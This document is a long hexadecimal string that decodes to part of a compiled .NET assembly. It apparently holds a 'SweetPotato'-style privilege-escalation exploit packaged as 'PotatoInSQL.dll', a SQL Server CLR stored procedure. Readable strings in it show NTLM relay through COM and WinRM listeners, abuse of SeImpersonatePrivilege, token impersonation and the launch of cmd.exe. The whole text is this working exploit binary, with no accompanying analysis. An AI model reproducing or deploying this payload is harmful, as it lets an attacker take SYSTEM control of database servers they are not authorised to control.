6970616C4E616D65006C704170706C69636174696F6E4E616D65006765745F4F7074696F6E4E616D65007365745F4F7074696F6E4E616D6500536F636B65744F7074696F6E4E616D65006F7074696F6E4E616D65004765744F7074696F6E466F724E616D6500707763734E616D6500476574417267756D656E744E616D6500707763734E65774E616D65007077737A4E616D65006C7073797374656D6E616D65006C706E616D6500706174696D6500706374696D6500706D74696D6500526561644C696E65006C70436F6D6D616E644C696E650057726974654C696E65004C6F63616C4D616368696E65004E6F6E6500436C6F6E65006765745F5069706500685265616450697065004372656174655069706500685772697465506970650053716C506970650053716C446254797065006765745F497347656E657269635479706500436F6D496E7465726661636554797065006765745F4F7074696F6E56616C756554797065006765745F497356616C7565547970650064774C6F636B547970650050726F746F636F6C5479706500546F6B656E547970650053656342756666657254797065006275666665725479706500536F636B657454797065006765745F50726F746F7479706500506172736550726F746F747970650057726974654F7074696F6E50726F746F747970650070726F746F7479706500436F6D70617265005369676E617475726500507472546F537472756374757265006765745F496E76617269616E7443756C747572650043617074757265006643726564656E7469616C557365006644656C6574654F6E52656C6561736500436C6F7365003C3E335F5F636C6F73650053797374656D2E49446973706F7361626C652E446973706F7365005061727365004D756C74696361737444656C65676174650070726576696F75735374617465003C3E315F5F7374617465006E6577737461746500496E766F6B654F6E5061727365436F6D706C6574650064636F6D436F6D706C657465005772697465006572725F7772697465006F75745F7772697465006765745F537569746500737569746500436F6D70696C657247656E65726174656441747472696275746500477569644174747269627574650044656275676761626C6541747472696275746500436F6D56697369626C6541747472696275746500417373656D626C795469746C6541747472696275746500496E74657266616365547970654174747269627574650053716C50726F636564757265417474726962757465004F62736F6C65746541747472696275746500417373656D626C7954726164656D61726B41747472696275746500647746696C6C41747472696275746500446562756767657248696464656E41747472696275746500417373656D626C7946696C6556657273696F6E4174747269627574650053656375726974795065726D697373696F6E41747472696275746500417373656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C794465736372697074696F6E4174747269627574650044656661756C744D656D62657241747472696275746500466C61677341747472696275746500436F6D70696C6174696F6E52656C61786174696F6E7341747472696275746500436F6D436F6E76657273696F6E4C6F737341747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500506172616D417272617941747472696275746500417373656D626C79436F6D70616E794174747269627574650052756E74696D65436F6D7061746962696C6974794174747269627574650042797465005456616C7565006765745F56616C75650041646456616C756500506172736542756E646C656456616C7565004C6F6F6B757050726976696C65676556616C756500506172736556616C7565006765745F48617356616C75650047657456616C7565004765745365637572697479456E7469747956616C75650076616C75650053617665005265636569766500646C69624D6F76650053797374656D2E436F6C6C656374696F6E732E494C6973742E52656D6F76650064775853697A650064775953697A650053797374656D2E436F6C6C656374696F6E732E494C6973742E4973466978656453697A650053797374656D2E436F6C6C656374696F6E732E494C6973742E6765745F4973466978656453697A65006E53697A65007053697A650062756666657253697A650053657453697A65006C69624E657753697A650073697A650053697A654F660053797374656D2E436F6C6C656374696F6E732E494C6973742E496E6465784F66005374616E646172644F626A526566007374616E646172644F626A52656600646566003C3E335F5F73656C660070497466006275660067726653746174466C616700666C61670053797374656D2E546872656164696E6700537472696E6742696E64696E6700737472696E6742696E64696E6700536563757269747942696E64696E6700736563757269747942696E64696E670062696E64696E6700456E636F64696E6700436F6D6D616E6448656C70496E64656E7452656D61696E696E670046726F6D426173653634537472696E6700546F426173653634537472696E670053657453716C537472696E6700436F6E7665727446726F6D537472696E6700546F537472696E6700476574537472696E6700537562737472696E67007070737467007073746174737467004D6174636800466C757368004D617468004465736372697074696F6E5F52656D57696474680072656D5769647468004F7074696F6E5769647468006375725769647468004465736372697074696F6E5F466972737457696474680066697273745769647468004765744E6578745769647468006765745F4C656E677468007365745F4C656E677468006E4C656E6774680072657475726E6C656E677468006275666665726C656E67746800537461727473576974680069004173796E6343616C6C6261636B0063616C6C6261636B004C6F6F706261636B00437265617465456E7669726F6E6D656E74426C6F636B005365656B006772664D61736B0064774D61736B00416C6C6F6348476C6F62616C004672656548476C6F62616C00437265617465494C6F636B42797465734F6E48476C6F62616C0068476C6F62616C00494D61727368616C00706843726564656E7469616C004F7074696F6E616C0070737A5072696E636970616C0053797374656D2E436F6C6C656374696F6E732E4F626A6563744D6F64656C0053797374656D2E436F6D706F6E656E744D6F64656C00496D706572736F6E6174696F6E4C6576656C00536F636B65744F7074696F6E4C6576656C006F6C6533322E646C6C0061647661706933322E646C6C004B65726E656C33322E646C6C006B65726E656C33322E646C6C00736563757233322E646C6C00506F7461746F496E53514C2E646C6C00636F7265646C6C2E646C6C0075736572656E762E646C6C00506F6C6C00546F77657250726F746F636F6C00746F77657250726F746F636F6C005061727365426F6F6C00416464496D706C004953747265616D006765745F4261736553747265616D0043726561746553747265616D004F70656E53747265616D004D656D6F727953747265616D0050726F6772616D00416C6C6F63436F5461736B4D656D0053797374656D2E436F6C6C656374696F6E732E494C6973742E4974656D0053797374656D2E436F6C6C656374696F6E732E494C6973742E6765745F4974656D0053797374656D2E436F6C6C656374696F6E732E494C6973742E7365745F4974656D0052656D6F76654974656D004765744B6579466F724974656D005365744974656D00496E736572744974656D006974656D004F7065726174696E6753797374656D005472696D00437573746F6D00707073746D007070456E756D00704765744B6579466E006765745F48696464656E0068696464656E006765745F546F6B656E007365745F546F6B656E00536574546872656164546F6B656E00684578697374696E67546F6B656E0068546F6B656E00496D706572736F6E6174696F6E546F6B656E004F70656E50726F63657373546F6B656E0045787472616374546F6B656E0051756572795365637572697479436F6E74657874546F6B656E0070684E6577546F6B656E0070707374674F70656E004C697374656E007063625772697474656E007772697474656E004D696E004F726967696E4D61696E0064774F726967696E004A6F696E004C6F636B526567696F6E00556E6C6F636B526567696F6E006765745F4F5356657273696F6E006765745F56657273696F6E00756C56657273696F6E0053656375726974794964656E74696669636174696F6E00536563757269747944656C65676174696F6E0053657448616E646C65496E666F726D6174696F6E006C7050726F63657373496E666F726D6174696F6E00546F6B656E496D706572736F6E6174696F6E005365637572697479496D706572736F6E6174696F6E0053797374656D2E476C6F62616C697A6174696F6E0053797374656D2E52756E74696D652E53657269616C697A6174696F6E005365637572697479416374696F6E00616374696F6E0053797374656D2E5265666C656374696F6E0049436F6C6C656374696F6E004F7074696F6E56616C7565436F6C6C656374696F6E004D61746368436F6C6C656374696F6E0047726F7570436F6C6C656374696F6E006765745F497347656E6572696354797065446566696E6974696F6E0047657447656E6572696354797065446566696E6974696F6E00706C69624E6577506F736974696F6E006765745F4F7074696F6E007365745F4F7074696F6E00436F6D6D616E644F7074696F6E0056616C75654F7074696F6E00416374696F6E4F7074696F6E0053686F756C64577261704F7074696F6E0048656C704F7074696F6E00536574536F636B65744F7074696F6E0057696E3332457863657074696F6E00496E76616C696444617461457863657074696F6E004F626A656374446973706F736564457863657074696F6E004E6F74537570706F72746564457863657074696F6E004B65794E6F74466F756E64457863657074696F6E00417267756D656E744F75744F6652616E6765457863657074696F6E00417267756D656E744E756C6C457863657074696F6E00496E76616C69644F7065726174696F6E457863657074696F6E004F7074696F6E457863657074696F6E00696E6E6572457863657074696F6E00496E76616C6964456E756D417267756D656E74457863657074696F6E006765745F4465736372697074696F6E005772697465436F6D6D616E644465736372697074696F6E0057726974654465736372697074696F6E004765744465736372697074696F6E006465736372697074696F6E006F7074696F6E00537472696E67436F6D70617269736F6E006765745F52756E007365745F52756E004949445F49556E6B6E6F776E004D6F7665456C656D656E74546F0053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E436F7079546F0043756C74757265496E666F007041757468496E666F0053657269616C697A6174696F6E496E666F006C7053746172747570496E666F004D656D626572496E666F0070536572766572496E666F00696E666F005A65726F005377656574506F7461746F004175746F00546172676574446174615265700073657000536B6970006765745F48656C70005072696E7448656C700073686F7748656C700068656C700070747354696D655374616D70006C704465736B746F70004E657750726F6365737347726F75700066436F6E7465787452657100636D7100436C656172005265616443686172004973456F6C4368617200627200476574417574686F72697A6174696F6E4865616465720053747265616D52656164657200546578745265616465720042696E61727952656164657200686561646572003C3E335F5F7265616465720049466F726D617450726F766964657200537472696E674275696C64657200636242756666657200476574536563427566666572006C704275666665720070764275666665720053746F72616765547269676765720048616E646C657200434F4D4C697374656E65720057696E524D4C697374656E65720077696E524D4C697374656E657200636F6D4C697374656E6572005353504948656C7065720055736572006572726F72577269746572006F757457726974657200546578745772697465720042696E6172795772697465720047756964546F506F696E7465720054797065436F6E76657274657200476574436F6E7665727465720070556E6B4F75746572006F75746572004D6963726F736F66742E53716C5365727665722E536572766572006765745F4D6573736167654C6F63616C697A6572007365745F4D6573736167654C6F63616C697A6572006C6F63616C697A6572006872006765745F4D616A6F72004765744C61737457696E33324572726F72006765745F4572726F7200685374644572726F72006572726F72004C6F63616C4E65676F746961746F72006E65676F746961746F72004E616D655465726D696E61746F720049456E756D657261746F720053797374656D2E436F6C6C656374696F6E732E47656E657269632E49456E756D657261626C653C53797374656D2E537472696E673E2E476574456E756D657261746F720053797374656D2E436F6C6C656374696F6E732E49456E756D657261626C652E476574456E756D657261746F7200417267756D656E74456E756D657261746F7200437265617465577261707065644C696E65734974657261746F7200416374697661746F72002E63746F72002E6363746F72005479706544657363726970746F72006C70536563757269747944657363726970746F72004949445F49556E6B6E6F776E50747200537472756374757265546F50747200496E74507472007066436F6E74657874417474720053797374656D2E446961676E6F7374696373004164644E6573746564436F6D6D616E6473006E6573746564436F6D6D616E647300476574436F6D6D616E647300636F6D6D616E64730053797374656D2E52756E74696D652E496E7465726F7053657276696365730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300726F536F7572636573006765745F417267756D656E74536F757263657300736F757263657300446562756767696E674D6F6465730064697361626C65416C6C50726976696C656765730041646A757374546F6B656E50726976696C65676573004D617463686573004E756D456E74726965730062496E686572697448616E646C6573006765745F4E616D6573004765744E616D6573006E616D657300536574456C656D656E7454696D657300577261707065644C696E6573004765744C696E65730053797374656D2E446174612E53716C54797065730053746F72656450726F63656475726573006C7054687265616441747472696275746573006C705069706541747472696275746573006C70546F6B656E41747472696275746573006C7050726F63657373417474726962757465730046696E644E544C4D42797465730050726F636573734E544C4D427974657300526561644279746573006F626A526566427974657300537467437265617465446F6366696C654F6E494C6F636B4279746573006E746D6C4279746573006E746C6D4279746573007365634275666665724279746573004765744279746573006F75744279746573006279746573006765745F4F7074696F6E56616C7565730076616C756573005075626C696352656673007075626C69635265667300677266466C6167730064774C6F676F6E466C6167730064774372656174696F6E466C61677300677266436F6D6D6974466C616773006477466C61677300666C616773003C3E335F5F7769647468730065776964746873003C3E345F5F7468697300457175616C73006765745F4974656D730053797374656D2E436F6C6C656374696F6E732E494C6973742E436F6E7461696E730053797374656D2E546578742E526567756C617245787072657373696F6E730053797374656D2E53656375726974792E5065726D697373696F6E730053797374656D2E436F6C6C656374696F6E7300476574436F6D706C6574696F6E73004D6F6E6F2E4F7074696F6E73006765745F4F7074696F6E73007365745F4F7074696F6E7300537472696E6753706C69744F7074696F6E730057726974654F7074696F6E4465736372697074696F6E73006F7074696F6E730073657073006765745F47726F757073006765745F436861727300647758436F756E74436861727300647759436F756E7443686172730063427566666572730070427566666572730052756E74696D6548656C7065727300416464536570617261746F7273006765745F56616C7565536570617261746F72730047657456616C7565536570617261746F727300736570617261746F727300476574556E6D61727368616C436C61737300536574436C61737300647744657369726564416363657373006765745F5375636365737300446574616368656450726F63657373006850726F636573730047657443757272656E7450726F6365737300495041646472657373004E6574776F726B41646472657373006E6574776F726B41646472657373004E6573746564436F6D6D616E64536574730053797374656D2E4E65742E536F636B65747300677266537461746542697473005365745374617465426974730072676D71526573756C747300456E756D456C656D656E74730047657447656E65726963417267756D656E747300476574417267756D656E747300617267756D656E7473004765744F7074696F6E5061727473005365637572697479416E6F6E796D6F75730052656164417400577269746541740053797374656D2E436F6C6C656374696F6E732E494C6973742E52656D6F7665417400436F6E63617400466F726D617400537461740057616974466F7253696E676C654F626A65637400684F626A65637400446973636F6E6E6563744F626A656374006F626A65637400436F6E6E6563740053797374656D2E4E6574006765745F436F6D6D616E64536574007365745F436F6D6D616E64536574006765745F4F7074696F6E53657400436F6D6D616E644F7074696F6E53657400536F636B657400736F636B65740053797374656D2E436F6C6C656374696F6E732E49456E756D657261746F722E5265736574006C69624F666673657400756C4F66667365740053656375726974794F66667365740057616974006F705F496D706C696369740049734C65747465724F7244696769740053706C697400436F6D6D69740062496E68657269740063656C74007267656C74006765745F44656661756C7400494173796E63526573756C7400726573756C74007265706C6163656D656E740052656E616D65456C656D656E740044657374726F79456C656D656E7400556E69636F6465456E7669726F6E6D656E74006C70456E7669726F6E6D656E740070764765744B6579417267756D656E7400617267756D656E740053797374656D2E436F6C6C656374696F6E732E47656E657269632E49456E756D657261746F723C53797374656D2E537472696E673E2E43757272656E740053797374656D2E436F6C6C656374696F6E732E49456E756D657261746F722E43757272656E740053797374656D2E436F6C6C656374696F6E732E47656E657269632E49456E756D657261746F723C53797374656D2E537472696E673E2E6765745F43757272656E740053797374656D2E436F6C6C656374696F6E732E49456E756D657261746F722E6765745F43757272656E74003C3E325F5F63757272656E7400457874656E64656453746172747570496E666F50726573656E740072656164794576656E74004950456E64506F696E74006765745F436F756E740050726976696C656765436F756E74006765745F4D617856616C7565436F756E74006D617856616C7565436F756E7400636F756E740053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E53796E63526F6F740053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E6765745F53796E63526F6F7400416363657074004869676850617274004C6F77506172740054687265616453746172740053656E64526573756C7473537461727400436F6D6D616E6448656C70496E64656E7453746172740073746172740053797374656D2E436F6C6C656374696F6E732E494C6973742E496E736572740052657665727400436F6E7665727400536F727400706F72740070737467446573740064657374007265737400494C69737400546F4C697374006765745F4F75740068537464496E7075740070496E70757400696E70757400685374644F757470757400704F7574707574006F7574707574004D6F76654E6578740053797374656D2E54657874004F70656E546578740053747265616D696E67436F6E74657874007068436F6E746578740053716C436F6E74657874004372656174654F7074696F6E436F6E7465787400707644657374436F6E7465787400647744657374436F6E746578740070684E6577436F6E74657874004163636570745365637572697479436F6E7465787400636F6E746578740070704C6B62797400706C6B627974007070760062770053656E64526573756C7473526F77007753686F7757696E646F770073656E64726F77004475706C6963617465546F6B656E4578004765744D61727368616C53697A654D6178006765745F4F7074696F6E496E646578007365745F4F7074696F6E496E646578004765744E6578744F7074696F6E496E646578006D6178496E646578006172726179496E64657800696E646578005265676578003C3E335F5F707265666978006477436C7343747800546F42797465417272617900496E697469616C697A654172726179004475616C537472696E674172726179006475616C537472696E67417272617900546F417272617900617272617900544B6579006765745F4B6579004F70656E5375624B65790052656769737472794B6579006B6579004164647265737346616D696C79006765745F4973526561644F6E6C79004E657443726564656E7469616C734F6E6C7900496E6465784F66416E7900436F707900546F6B656E5072696D617279006765745F44696374696F6E617279007074734578706972790043617465676F72790052746C5A65726F4D656D6F7279006C7043757272656E744469726563746F7279005265676973747279006F705F457175616C697479006F705F496E657175616C69747900707374675072696F72697479005365637572697479456E74697479007365637572697479456E746974790049734E756C6C4F72456D70747900000000000D77006900640074006800730000052E002D00014145006C0065006D0065006E00740020006D0075007300740020006200650020003E003D0020007B0030007D002C00200077006100730020007B0031007D002E0000050D000A00003B4F007000740069006F006E0043006F006E0074006500780074002E004F007000740069006F006E0020006900730020006E0075006C006C002E00000B69006E0064006500780000514D0069007300730069006E0067002000720065007100750069007200650064002000760061006C0075006500200066006F00720020006F007000740069006F006E00200027007B0030007D0027002E0001052C0020000013700072006F0074006F0074007900700065000037430061006E006E006F0074002000620065002000740068006500200065006D00700074007900200073007400720069006E0067002E00001B6D0061007800560061006C007500650043006F0075006E0074000080B7430061006E006E006F0074002000700072006F00760069006400650020006D0061007800560061006C007500650043006F0075006E00740020006F00660020003000200066006F00720020004F007000740069006F006E00560061006C007500650054007900700065002E005200650071007500690072006500640020006F00720020004F007000740069006F006E00560061006C007500650054007900700065002E004F007000740069006F006E0061006C002E00007B430061006E006E006F0074002000700072006F00760069006400650020006D0061007800560061006C007500650043006F0075006E00740020006F00660020007B0030007D00200066006F00720020004F007000740069006F006E00560061006C007500650054007900700065002E004E006F006E0065002E0000053C003E00006D5400680065002000640065006600610075006C00740020006F007000740069006F006E002000680061006E0064006C0065007200200027003C003E0027002000630061006E006E006F007400200072006500710075006900720065002000760061006C007500650073002E00017943006F0075006C00640020006E006F007400200063006F006E007600650072007400200073007400720069006E006700200060007B0030007D002700200074006F002000740079007000650020007B0031007D00200066006F00720020006F007000740069006F006E00200060007B0032007D0027002E00014B45006D0070007400790020006F007000740069006F006E0020006E0061006D0065007300200061007200650020006E006F007400200073007500700070006F0072007400650064002E00005543006F006E0066006C0069006300740069006E00670020006F007000740069006F006E002000740079007000650073003A00200027007B0030007D0027002000760073002E00200027007B0031007D0027002E00018089430061006E006E006F0074002000700072006F00760069006400650020006B00650079002F00760061006C0075006500200073006500700061007200610074006F0072007300200066006F00720020004F007000740069006F006E0073002000740061006B0069006E00670020007B0030007D002000760061006C00750065002800730029002E0000033A0000033D00005F49006C006C002D0066006F0072006D006500640020006E0061006D0065002F00760061006C0075006500200073006500700061007200610074006F007200200066006F0075006E006400200069006E00200022007B0030007D0022002E00010B4000660069006C00650000495200650061006400200072006500730070006F006E00730065002000660069006C006500200066006F00720020006D006F007200650020006F007000740069006F006E0073002E000003400000154F007000740069006F006E004E0061006D00650000775E0028003F003C0066006C00610067003E002D002D007C002D007C002F00290028003F003C006E0061006D0065003E005B005E003A003D005D002B002900280028003F003C007300650070003E005B003A003D005D00290028003F003C00760061006C00750065003E002E002A00290029003F002400010D6F007000740069006F006E0000294F007000740069006F006E00200068006100730020006E006F0020006E0061006D00650073002100000D680065006100640065007200000D61006300740069006F006E00000D73006F007500720063006500001361007200670075006D0065006E007400730000052D002D00011161007200670075006D0065006E007400000966006C006100670000096E0061006D0065000007730065007000000B760061006C007500650000654500720072006F0072003A00200046006F0075006E00640020007B0030007D0020006F007000740069006F006E002000760061006C0075006500730020007700680065006E00200065007800700065006300740069006E00670020007B0031007D002E0000032D00016B430061006E006E006F0074002000750073006500200075006E00720065006700690073007400650072006500640020006F007000740069006F006E00200027007B0030007D002700200069006E002000620075006E0064006C006500200027007B0031007D0027002E00013355006E006B006E006F0077006E0020004F007000740069006F006E00560061006C007500650054007900700065003A00200000010005200020000007200020002D0001112000200020002000200020002D002D0001035B000003200000035D00004128003F003C003D0028003F003C0021005C007B0029005C007B0029005B005E007B007D005D002A0028003F003D005C007D0028003F0021005C007D0029002900000B560041004C0055004500003949006E00760061006C006900640020006F007000740069006F006E0020006400650073006300720069007000740069006F006E003A00200000037D0000193D003A0043006F006D006D0061006E0064003A003D002000000F63006F006D006D0061006E006400006943006F006D006D0061006E0064004F007000740069006F006E002E004F006E005000610072007300650043006F006D0070006C006500740065002000730068006F0075006C00640020006E006F007400200062006500200069006E0076006F006B00650064002E000009680065006C007000000B73007500690074006500000D6F0075007400700075007400000B6500720072006F007200007743006F006D006D0061006E006400200069006E007300740061006E006300650073002000630061006E0020006F006E006C007900200062006500200061006400640065006400200074006F00200061002000730069006E0067006C006500200043006F006D006D0061006E0064005300650074002E00001D6E006500730074006500640043006F006D006D0061006E006400730000033F00000B5500730065002000600000232000680065006C0070006000200066006F0072002000750073006100670065002E00000D2D002D00680065006C0070000135530068006F0077002000740068006900730020006D00650073007300610067006500200061006E00640020006500780069007400000F550073006100670065003A0020000025200043004F004D004D0041004E00440020005B004F005000540049004F004E0053005D00005D2000680065006C007000200043004F004D004D0041004E0044006000200066006F0072002000680065006C00700020006F006E0020006100200073007000650063006900660069006300200063006F006D006D0061006E0064002E00002741007600610069006C00610062006C006500200063006F006D006D0061006E00640073003A0000273A00200055006E006B006E006F0077006E00200063006F006D006D0061006E0064003A002000000F3A0020005500730065002000600000134E00650067006F007400690061007400650000414500720072006F007200200069006E002000410071007500690072006500430072006500640065006E007400690061006C007300480061006E0064006C00650000654E0054004C004D002000540079007000650032002000630061006E006E006F00740020006200650020007200650070006C0061006300650064002E00200020004E00650077002000620075006600660065007200200074006F006F002000620069006700004744006F006500730020006E006F00740020006C006F006F006B0020006C0069006B006500200061006E0020004F0042004A005200450046002000730074007200650061006D00004D7B00300030003000300030003000300030002D0030003000300030002D0030003000300030002D0043003000300030002D003000300030003000300030003000300030003000340036007D00014741007500740068006F00720069007A006100740069006F006E003A0020004E00650067006F0074006900610074006500200028003F003C006E00650067003E002E002A00290000076E00650067000080C948005400540050002F0031002E0031002000340030003100200055006E0061007500740068006F00720069007A00650064000A005700570057002D00410075007400680065006E007400690063006100740065003A0020004E00650067006F007400690061007400650020007B0030007D000A0043006F006E00740065006E0074002D004C0065006E006700740068003A00200030000A0043006F006E006E0065006300740069006F006E003A0020004B006500650070002D0041006C006900760065000A000A0001475B0021005D00200043004F004D0020004C0069007300740065006E0065007200200074006800720065006100640020006600610069006C00650064003A0020007B0030007D00001D3100320037002E0030002E0030002E0031005B007B0030007D005D0000097B0030007D000A0000494500720072006F00720020002D00200055006E006B006E006F0077006E0020004E0054004C004D0020006D00650073007300610067006500200074007900700065002E002E002E00013B53006500410073007300690067006E005000720069006D0061007200790054006F006B0065006E00500072006900760069006C0065006700650000215300650041007500640069007400500072006900760069006C006500670065000023530065004200610063006B0075007000500072006900760069006C00650067006500002F530065004300680061006E00670065004E006F007400690066007900500072006900760069006C00650067006500002F5300650043007200650061007400650047006C006F00620061006C00500072006900760069006C006500670065000033530065004300720065006100740065005000610067006500660069006C006500500072006900760069006C006500670065000035530065004300720065006100740065005000650072006D0061006E0065006E007400500072006900760069006C00650067006500003B53006500430072006500610074006500530079006D0062006F006C00690063004C0069006E006B00500072006900760069006C00650067006500002D5300650043007200650061007400650054006F006B0065006E00500072006900760069006C0065006700650000215300650044006500620075006700500072006900760069006C0065006700650000375300650045006E00610062006C006500440065006C00650067006100740069006F006E00500072006900760069006C00650067006500002D5300650049006D0070006500720073006F006E00610074006500500072006900760069006C00650067006500003F5300650049006E0063007200650061007300650042006100730065005000720069006F007200690074007900500072006900760069006C0065006700650000315300650049006E00630072006500610073006500510075006F0074006100500072006900760069006C00650067006500003B5300650049006E0063007200650061007300650057006F0072006B0069006E006700530065007400500072006900760069006C00650067006500002B530065004C006F0061006400440072006900760065007200500072006900760069006C00650067006500002B530065004C006F0063006B004D0065006D006F0072007900500072006900760069006C006500670065000033530065004D0061006300680069006E0065004100630063006F0075006E007400500072006900760069006C00650067006500002F530065004D0061006E0061006700650056006F006C0075006D006500500072006900760069006C00650067006500003F53006500500072006F00660069006C006500530069006E0067006C006500500072006F006300650073007300500072006900760069006C00650067006500002553006500520065006C006100620065006C00500072006900760069006C00650067006500003353006500520065006D006F0074006500530068007500740064006F0077006E00500072006900760069006C0065006700650000255300650052006500730074006F0072006500500072006900760069006C0065006700650000275300650053006500630075007200690074007900500072006900760069006C00650067006500002753006500530068007500740064006F0077006E00500072006900760069006C00650067006500002953006500530079006E0063004100670065006E007400500072006900760069006C00650067006500003953006500530079007300740065006D0045006E007600690072006F006E006D0065006E007400500072006900760069006C00650067006500003153006500530079007300740065006D00500072006F00660069006C006500500072006900760069006C00650067006500002B53006500530079007300740065006D00740069006D006500500072006900760069006C00650067006500003153006500540061006B0065004F0077006E00650072007300680069007000500072006900760069006C00650067006500001D53006500540063006200500072006900760069006C00650067006500002753006500540069006D0065005A006F006E006500500072006900760069006C00650067006500003F53006500540072007500730074006500640043007200650064004D0061006E00410063006300650073007300500072006900760069006C0065006700650000235300650055006E0064006F0063006B00500072006900760069006C00650067006500001D7300650063007500720069007400790045006E007400690074007900003B410064006A0075007300740054006F006B0065006E00500072006900760069006C00650067006500730020006600610069006C00650064002E0000594F00700065006E00500072006F00630065007300730054006F006B0065006E0020006600610069006C00650064002E002000430075007200720065006E007400500072006F0063006500730073003A0020007B0030007D00006B4C006F006F006B0075007000500072006900760069006C00650067006500560061006C007500650020006600610069006C00650064002E0020005300650063007500720069007400790045006E007400690074007900560061006C00750065003A0020007B0030007D0000554700720061006E006400500072006900760069006C0065006700650020006600610069006C00650064002E0020005300650063007500720069007400790045006E0074006900740079003A0020007B0030007D00005953004F004600540057004100520045005C004D006900630072006F0073006F00660074005C00570069006E0064006F007700730020004E0054005C00430075007200720065006E007400560065007200730069006F006E000013520065006C006500610073006500490064000049340039003900310044003300340042002D0038003000410031002D0034003200390031002D0038003300420036002D00330033003200380033003600360042003900300039003700013763003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E006500780065000080DD5B0021005D002000430061006E006E006F007400200070006500720066006F0072006D0020004E0054004C004D00200069006E00740065007200630065007000740069006F006E002C0020006E006500630063006500730073006100720079002000700072006900760065006C00650067006500730020006D0069007300730069006E0067002E0020002000410072006500200079006F0075002000720075006E006E0069006E006700200075006E00640065007200200061002000530065007200760069006300650020006100630063006F0075006E0074003F0000795B0021005D0020004E006F002000610075007400680065006E007400690063006100740065006400200069006E00740065007200630065007000740069006F006E00200074006F006F006B00200070006C006100630065002C0020006500780070006C006F006900740020006600610069006C006500640000615B0021005D0020004600610069006C0065006400200074006F00200069006D0070006500720073006F006E00610074006500200073006500630075007200690074007900200063006F006E007400650078007400200074006F006B0065006E00002B5B0021005D002000430072006500610074006500500069007000650020006600610069006C0065006400001F570069006E0053007400610030005C00440065006600610075006C00740000072F0063002000001322007B0030007D00220020007B0031007D00006F5B0021005D0020004600610069006C0065006400200074006F0020006300720065006100740065006400200069006D0070006500720073006F006E0061007400650064002000700072006F00630065007300730020007700690074006800200074006F006B0065006E003A002000000743003A005C0000755B0021005D0020004600610069006C0065006400200074006F0020006300720065006100740065006400200069006D0070006500720073006F006E0061007400650064002000700072006F00630065007300730020007700690074006800200075007300650072003A0020007B0030007D00200000375B0021005D0020004600610069006C0065006400200074006F0020006500780070006C006F0069007400200043004F004D003A0020000049300030003000300030003300300036002D0030003000300030002D0030003000300030002D0063003000300030002D00300030003000300030003000300030003000300034003600014D7B00300034003200630039003300390066002D0035003400630064002D0065006600640034002D0034006200620064002D003100630033006200610065003900370032003100340035007D000113680065006C006C006F002E00730074006700001B3D003A00430061007400650067006F00720079003A003D002000005F430061007400650067006F00720079002E004F006E005000610072007300650043006F006D0070006C006500740065002000730068006F0075006C00640020006E006F007400200062006500200069006E0076006F006B00650064002E00001B5300650063004200750066006600650072004400650073006300000000005274969819980C4AADABE55BEE48EB9A00042001010803200001052001011111042001010E04200101020615124D020E0E0320000205151251010E04200013000320001C05151245010E082000151251011300042000126106200201127508042001081C042001021C05200201081C042001011C0420011C080515127D010E0615128081010E062001011180A508151280B9020E121C08151280B9020E1234062001011180E5042001010607070115124501080707011511550102051511550102052001011300051512510108032000080600030E0E1C1C052002010E0E02060E04000102030507030808080500020808080520020E0808042001020E04200103080615128085010E052001021300072002011D130008092000151180CD01130006151180CD010E05200108130006200201081300062001130113000500020E0E1C052001130008092001011512450113000520001D13000600020E0E1D0E030701080620011D0E1D030320000E0500020E0E0E09100102081D1E001E00030A010E021D0E10070512808D12808D12808D1E00128091021E0008000112808D11814905200012808D0620001D12808D08000112815112808D0420011C0E0700040E0E1C1C1C0C07050315128085010E080E08052001081D030607040808030306000112815D0E040001020E0420010E08072002010E1280910920020112809D1180A10420010E0E052002010E1C071512808501122007151280BD0112200920010115127D011300052002011C18040701121C06200201081301050702121C08071512816101121C08200015127D0113000615127D01121C0B20001512816502130013010815128165020E121C10070415128085010E08151180CD010E0E07200201130013010707021280AC121C07151280D10112100707021280B0121C040A011E00071512809C011E000C2003010E0E151280D1011300060A021E001E0109151280A0021E001E010D2003010E0E15122C021300130117070812140215128085010E121C1280A4151251010E0E08050002020E0E0F0703151180CD011220151245010E0207151180CD0112200607021280D50E0620011280D50E05200012816D0620011281690E0A07060E0E0E0E121C11180600030E0E0E0E0500010E1D0E0607031D0E080E0A20031D0E1D0E08118175060703121C0E0E0D070808121C0E0E0311180E11181A070915125101121C121C081238151180CD01122012201D0E08080615125101121C0520020103080307010E09070302151251010E0E0707041D0E080E080A07050E12611D0E125D0807000212811D0E0E0500001281790620010E12817D080704128099080803062001128099030620011280990E0707031280990208050002020E080C0702151245010E151245010E0A151280D101151245010E0507021D0E080500001280D907151281610112340C070315125101121C121C123807151280850112440A0702151180CD0112440207151180CD011244100703151280D1010E15128085010E123406151280D1010E0407020E080520020108080F07041280B8124415128085010E123407151281890112440B200113001512818901130025070515128085010E15124D020E0E1234151180CD01151180DD020E1234151180DD020E12340D151280E101151180DD020E12340D1512808501151180DD020E12340A200101151280E10113000D151180CD01151180DD020E123408151180DD020E123404200013012007051512808501151180DD020E12341512510112341234151180CD0112441244061512510112341307041512510112341234151180CD01124412440700040E0E0E0E0E05070111811009070312811811811409020618040001010E0807031181101D05080B07051181140912811808180507011280FD052001011D0505000012819509200201128199128195032000090520011D05080807021281011180F50620010112819904200101090420001D05052000128199030701180400011808080004011D0508180807200201021181A5062001011281A90807031D050E12811D052001081D050520010E1D0506200112811D0E0620011280D5080A07041281191281190E0E0C2003011181B11181B51181B90A2003011181BD1181C10804061281C5072002011281C508062001011281CD07200202081181D10520001281190500011D050E0500010E1D050520011D050E1307071281191281191281191D05081D05128091080003011275127508050002010E1C100705125012581280841D1180DC12809108000112808D1180F50600011C12808D0607031D0508080800020112751181E1060703081D05080A000501127508127508081C070C0E1180EC1180F0181808021281211281211281211281211280910700020212808D1C082003010E0812808D030000080900030E12817D0E1D1C0500020218180206080500001281ED0520001281F104061281F90620011281F90E040001090E050701128125082003010E1182050A072001011D12820105000012820D062001011281250600011182110E07200201081182112107130E070E0E11700202021274181181081D05081D051180F41180F80E081280910600010812808D040001081C050702091D0505000012810D0807060208080E0E0805151245010805070112808C08070602080303080E050701128090071512809C0113000806151280D1011300040A01130007151280D101130009151280A00213001301090615122C0213001301040A0113010815122C02130013010A1512808501151251010E061